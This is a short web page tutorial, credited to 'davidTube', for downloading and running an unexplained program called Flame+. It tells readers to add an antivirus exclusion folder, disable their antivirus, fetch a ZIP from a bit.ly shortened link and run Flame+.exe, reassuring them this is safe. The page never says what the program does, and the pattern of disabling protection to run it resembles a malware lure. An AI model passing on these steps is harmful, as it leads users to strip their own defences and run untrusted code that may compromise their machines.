

Flame+ Download Tutorial

by davidTube

Step 1

Whitelist Flame+ in your antivirus. (Creating an exclusion/exception)

Exclusions are basically whitelists for your antivirus. The antivirus is not going to scan the file/folder which means that it's not going to delete any contents of it.

Make a new folder anywhere on your computer, name it whatever you want. Now that we have the folder where we're going to download Flame+, we're now going to add the folder as an exclusion in our antivirus.

It's different on every antivirus, but here's how you do it on the most popular ones. You will have to add the exclusion/exception as a folder (select the folder that you just created).

- [Windows Security](#)
 - [Avast](#)
- [Malwarebytes](#)
 - [Kasperky](#)
- [BitDefender](#)
- [Eset NOD32](#)
 - [Mcafee](#)
- [Norton 360](#)

Step 2

Disable antivirus & download Flame+.

Now, you have to disable your antivirus so it won't delete Flame+ from the beginning (because you'll most likely not be able to move it to the exclusion folder in time).

Disabling your antivirus is pretty easy, shouldn't even take more than 3 minutes. And don't worry, you will be able to turn it back on after you moved Flame+ to your exclusion folder.

After you did that, you can now download it.

Download Flame+ from this link:

<https://bit.ly/FlamePlus>.

If you don't know how to download it, you have to left click Flame+.zip and then right click it, then 'Download...' and then 'Download as ZIP'.

After you downloaded it, it's now most likely in your Downloads folder. Drag it from there to your exclusion folder that you created.

Now, you can safely turn on your antivirus!

Good job! Let's go to the next step!

Step 3

Extract & run Flame+.

In order to extract it, you need WinRAR or 7-Zip.
I recommend WinRAR, to download, go to [this link](#) and download it. After that, install it. It's quick and easy.

Now, to extract Flame+ you have to go to your exclusion folder, right click 'Flame+.zip' and click 'Extract Here'.

After you extracted it, many files will appear. You can now delete Flame+.zip as it's not needed anymore but you can keep it if you want.

Now, you can run Flame+.exe and use it!

Thank you for reading! If you have any problems with it please tell us in our [discord server](#) by creating a ticket. Have a great day!
